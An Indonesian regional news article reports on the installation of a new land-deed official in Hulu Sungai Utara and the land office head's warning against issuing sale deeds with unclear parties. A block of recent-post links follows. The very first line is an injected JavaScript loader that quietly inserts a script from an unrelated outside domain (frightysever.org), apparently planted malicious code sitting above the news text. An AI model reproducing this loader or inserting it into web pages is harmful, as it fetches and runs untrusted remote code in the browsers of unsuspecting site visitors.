(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kepala BPN HSU : PPAT Jangan Sembarang Terbitkan Akta Jual Beli Tanah


AMUNTAI, Kepala Badan Pertanahan Nasional (BPN) HSU Ahmad Suhaimi mengingatkan Pejabat Pembuat Akta Tanah (PPAT) lebih cermat dan teliti dalam bekerja, serta tidak mudah membuat akta jual beli yang tidak jelas penjual dan pembelinya.

Hal tersebut diungkapkan Kepala BPN HSU setelah melantik PPAT di Aula Kantor BPN Kabupaten HSU, Rabu (21/11)

Pelantikan PPAT merupakan suatu keharusan bagi seseorang yang dinyatakan lulus sebagai PPAT, sebab sejak mulai dilantik PPAT bersangkutan mempunyai kewenangan atau legal standing untuk berbuat sesuai hukum terkait dengan segala kegiatan yang berkaitan.

“Kepada PPAT yang baru dilantik agar bekerja dengan lebih cermat dan teliti,” ujarnya.

Suhaimi berpesan agar PPAT dapat memperhatikan dengan cermat segala tahapan proses pembuatan akta-akta jual beli, serta tidak akan melakukan pembuatan akta jual beli terhadap kasus yang tidak jelas penjual atau pembelinya.

“Jangan pernah sekali-kali membuatkan akta jual beli yang pembeli atau penjualnya tidak diketahui keberadaannya, hindari memakai keterangan palsu dengan cara perbuatan hukumnya harus benar-benar dihadapan pejabat pembuat akta tanah,” tegasnya.

Ia mengaku persoalan pertanahan di Kabupaten HSU terbilang sangat kondusif karena kordinasi dengan pemerintah daerah, kepolisian, kejaksaan dan lintas sektor lainnya berjalan dengan baik, oleh karenanya diharapkan kondisi ini akan terus dapat dipertahankan.

Sekadar diketahui, selama ini Kabupaten HSU hanya memiliki satu orang PPAT dan satu orang notaris. Sehingga diharapkan melalui penambahan PPAT dapat mempermudah segala proses yang berkaitan dengan akta, serta tidak ada lagi proses jual beli yang bersifat di bawah tangan.

“Kami berharap kedepannya pejabat pembuat akta tanah dan notaris di HSU dapat bertambah lagi, sehingga ada 5 orang PPAT dan notaris yang ada di Kabupaten HSU,” pungkasnya.

PPAT yang dilantik untuk wilayah kerja Kabupaten HSU yakni Ahmad Rijali SH MKn disaksikan pegawai BPN HSU, perwakilan bank mitra serta undangan lainnya. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.